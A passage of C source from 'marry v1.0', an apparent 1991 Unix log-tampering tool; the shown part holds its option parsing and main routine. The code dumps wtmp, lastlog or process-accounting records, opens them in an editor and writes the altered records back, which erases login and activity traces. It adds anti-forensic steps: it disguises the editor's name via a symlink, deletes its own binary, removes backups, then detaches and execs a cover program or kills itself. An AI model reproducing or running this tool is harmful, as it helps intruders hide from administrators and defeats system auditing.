  1005.             perror("invalid line number in ascii input");
  1006.             exit(1);
  1007.         }
  1008.         uline++;
  1009.         if (!obj_update(uline, p, f_mod))
  1010.          {
  1011.             perror("read/write failed");
  1012.             exit(1);
  1013.         }
  1014.     }
  1015. closeup:
  1016.     display_end();
  1017.     fclose(ofh);
  1018.     fclose(ifh);
  1019.     fclose(afh);
  1020. }
  1021.  
  1022. FVOID usage(s)
  1023. char *s;
  1024. {
  1025.     fprintf(stderr, "usage: %s\t[-aetsuScDn] [-i src] [-o obj] [-d dump] [-p pat] [-v pat] [-m [WLA]]\n\
  1026. \t\t[-E editor] [-h program]\n", s);
  1027.     exit(1);
  1028. }
  1029.  
  1030. int main(argc, argv)
  1031. int argc;
  1032. char **argv;
  1033. {
  1034.     char *ed;
  1035.     char c;
  1036. #ifdef PACCT
  1037.     mode='A';
  1038. #endif
  1039. #ifdef LASTLOG
  1040.     mode='L';
  1041. #endif
  1042. #ifdef UTMP
  1043.     mode='W';
  1044. #endif
  1045.  
  1046.     puts("marry v1.0 (c) 1991 -- Proff -- All rights reserved.");
  1047.     umask(022);
  1048.     while ((c=getopt(argc, argv, "i:o:d:aetsp:v:m:uScDnE:h:b:"))!=-1)
  1049.     switch(c)
  1050.     {
  1051.         case 'i':
  1052.             a_Input=optarg;
  1053.             break;
  1054.         case 'o':
  1055.             a_Output=optarg;
  1056.             break;
  1057.         case 'd':
  1058.             a_Dump=optarg;
  1059.             break;
  1060.         case 'a':
  1061.             f_Auto=1;
  1062.             break;
  1063.         case 'e':
  1064.             f_EditSrc=1;
  1065.             break;
  1066.         case 't':
  1067.             f_Truncate=1;
  1068.             break;
  1069.         case 's':
  1070.             f_Squeeze=1;
  1071.             break;
  1072.         case 'p':
  1073.             a_Pattern=optarg;
  1074.             break;
  1075.         case 'v':
  1076.             f_Exclude=1;
  1077.             a_Pattern=optarg;
  1078.             break;
  1079.         case 'm':
  1080.             mode=*optarg;
  1081.             break;
  1082.         case 'u':
  1083.             f_Uid=1;
  1084.             break;
  1085.         case 'S':
  1086.             f_Security=1;
  1087.             break;
  1088.         case 'c':
  1089.             f_Clean=1;
  1090.             break;
  1091.         case 'D':
  1092.             f_DeleteSelf=1;
  1093.             break;
  1094.         case 'n':
  1095.             f_NoBackups=1;
  1096.             break;
  1097.         case 'E':
  1098.             a_Editor=optarg;
  1099.             break;
  1100.         case 'h':
  1101.             a_Hide=optarg;
  1102.             break;
  1103.         case 'b':
  1104.             a_Backup=optarg;
  1105.             break;
  1106.         case '?':
  1107.         default:
  1108.             fprintf(stderr, "%s: unknown option `%c'\n", argv[0], c);
  1109.             usage(argv[0]);
  1110.             /* NOT_REACHED */
  1111.     }
  1112.     if (a_Output && f_EditSrc)
  1113.     {
  1114.         perror("can't have -o and -e together");
  1115.         exit(1);
  1116.     }
  1117.     switch(mode)
  1118.     {
  1119. #ifdef UTMP
  1120.     case 'W':
  1121.         mode_size=sizeof(struct S_UTMP);
  1122.         mode_data=&s_utmp;
  1123.         if (!a_Input) a_Input=WTMP_FILE;
  1124.         break;
  1125. #endif
  1126. #ifdef LASTLOG
  1127.     case 'L':
  1128.         mode_size=sizeof(struct lastlog);
  1129.         mode_data=&s_lastlog;
  1130.         if (!a_Input) a_Input=LASTLOG_FILE;
  1131.         break;
  1132. #endif
  1133. #ifdef PACCT
  1134.     case 'A':
  1135.         mode_size=sizeof(struct acct);
  1136.         mode_data=&s_acct;
  1137.         if (!a_Input) a_Input=PACCT_FILE;
  1138.         break;
  1139. #endif
  1140.         default:
  1141.         fprintf(stderr, "unknown mode `%c'\n", mode);
  1142.         usage();
  1143.         /*NOT_REACHED*/
  1144.     }
  1145.     if (a_Pattern) uid=getpwnam(a_Pattern);
  1146.     if (uid) {uid_s=*uid; uid=&uid_s;}
  1147.     if (f_Auto)
  1148.     {
  1149.     struct stat st1, st2;
  1150.     int pid;
  1151.     int ws;
  1152.         if (stat(a_Editor, &st1))
  1153.         {
  1154.             fprintf(stderr, "error: editor `%s' must exist with -a (check -E value)\n", a_Editor);
  1155.             exit(1);
  1156.         }
  1157.         makedump();
  1158.         if (f_Security)
  1159.         {
  1160.             sprintf(ac_comm_hide, "m%d", getpid());
  1161.             symlink(a_Editor, ac_comm_hide);
  1162.             ed=ac_comm_hide;
  1163.         } else  ed=a_Editor;
  1164.  
  1165.         stat(a_Dump, &st1);
  1166.         if (!(pid=fork()))
  1167.         {
  1168.             printf("%s %s\n", ed, a_Dump);
  1169.             fflush(stdout);
  1170.             execlp(ed, ed, a_Dump, 0);
  1171.             perror(ed);
  1172.             _exit(1);
  1173.         }
  1174.         if (pid<0)
  1175.         {
  1176.             perror("fork");
  1177.             exit(1);
  1178.         }
  1179.         while (wait(&ws)!=pid);
  1180.         if (f_Security)
  1181.             unlink(ac_comm_hide);
  1182.         stat(a_Dump, &st2);
  1183.         if (st1.st_mtime==st2.st_mtime)
  1184.         {
  1185.             fprintf(stderr, "`%s' not modified -- aborted\n", a_Dump);
  1186.             exit(1);
  1187.         }
  1188.         if (!a_Output || !strcmp(a_Input, a_Output))
  1189.         {
  1190.             backup(a_Input);
  1191.             f_backedup=1;
  1192.             if (!a_Output) a_Output=a_Input;
  1193.             if (!f_EditSrc)
  1194.                 a_Input=a_Backup;
  1195.         }
  1196.         makeobject();
  1197.         if (f_Clean)
  1198.             unlink(a_Dump);
  1199.         if ((f_Clean || f_NoBackups) && f_backedup) unlink(a_Backup);
  1200.     }
  1201.     else if (a_Output)
  1202.         {
  1203.             if (!strcmp(a_Input, a_Output))
  1204.             {
  1205.                 backup(a_Input);
  1206.                 f_backedup=1;
  1207.                 if (!f_EditSrc)
  1208.                     a_Input=a_Backup;
  1209.             }
  1210.             makeobject();
  1211.             if (f_Clean)
  1212.                 unlink(a_Dump);
  1213.             if ((f_Clean || f_NoBackups) && f_backedup) unlink(a_Backup);
  1214.         } else
  1215.             makedump();
  1216.     if (f_DeleteSelf) unlink(argv[0]);
  1217.     puts("Done.");
  1218.     if (f_Security)
  1219.     {
  1220.         close(0);
  1221.         close(1);
  1222.         close(2);
  1223.         setsid();
  1224.         if (a_Hide)
  1225.         {
  1226.             execlp(a_Hide, a_Hide, 0);
  1227.             perror(a_Hide);
  1228.         }
  1229.         if (f_Security)
  1230.             kill(getpid(), SIGKILL);
  1231.     }
  1232.     exit(0);
  1233. }
  1234.